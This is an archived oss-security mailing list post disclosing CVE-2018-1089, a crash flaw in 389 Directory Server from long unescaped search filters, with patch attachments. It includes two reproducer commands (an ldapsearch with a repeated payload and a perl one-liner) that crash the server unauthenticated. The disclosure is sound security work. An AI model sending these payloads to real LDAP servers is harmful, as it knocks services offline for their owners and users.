[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Mon, 7 May 2018 17:35:30 +0200
From: Cedric Buissart <cbuissar@...hat.com>
To: oss-security@...ts.openwall.com
Subject: Re: CVE-2018-1089 389-ds-base: unauthenticated ns-slapd crash via
large filter value in ldapsearch
On Mon, May 7, 2018 at 5:30 PM, Cedric Buissart <cbuissar@...hat.com> wrote:
> Hi all,
>
> This is to disclose the following flaw, CVE-2018-1089 :
>
> 389-ds-base, a.k.a 389 Directory Server, https://pagure.io/389-ds-base/,
> is a highly usable, fully featured, reliable and secure LDAP server
> implementation. It handles many of the largest LDAP deployments in the
> world.
>
> 389-ds server did not properly handle characters needed to be escaped in
> its query filter. This could result in buffer overflows, from the heap
> or the stack, on larger filters. An unauthenticated attacker could send
> a specially crafted LDAP request and crash the server. RCE has not been
> demonstrated at this time.
>
> Red Hat would like to thank Greg Kubok for alerting us of the issue.
>
>
> Reproducer1 :
> [root@...ver1 ~]# payload=$(printf '.*$%.0s' {1..1000})
> [root@...ver1 ~]# ldapsearch -h localhost -p 389 -x -b "dc=blah"
> "(&(|(telephoneNumber=*${payload}*)(uid=*${payload}*)(
> title=*${payload}*)(sn=*${payload}*)(ou=*${payload}*)(
> givenName=*${payload}*))(objectClass=posixaccount))"
> "telephoneNumber sshpubkeyfp ipaSshPubKey uid krbCanonicalName title
> loginShell uidNumber gidNumber sn homeDirectory mail krbPrincipalName
> givenName nsAccountLock"
>
> Reproducer2:
> [root@...ver1 ~]# perl -e 'print ".*\$" x (1400)' | ldapsearch -x -f-
> "(&(uid=%s)(objectClass=posixaccount))"
>
>
> Patch attached for versions 1.3.7 & 1.2.11
>
Patches are now attached for real.
>
> Thanks!
>
> --
> Cedric Buissart,
> Product Security
>
--
Cedric Buissart,
Product Security
Content of type "text/html" skipped
View attachment "v1.3.7.5-CVE-2018-1089-Crash-from-long-search-filter.patch" of type "text/x-patch" (3369 bytes)
View attachment "v1.2.11.15-CVE-2018-1089-crash-in-long-search-filter.patch" of type "text/x-patch" (1549 bytes)
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
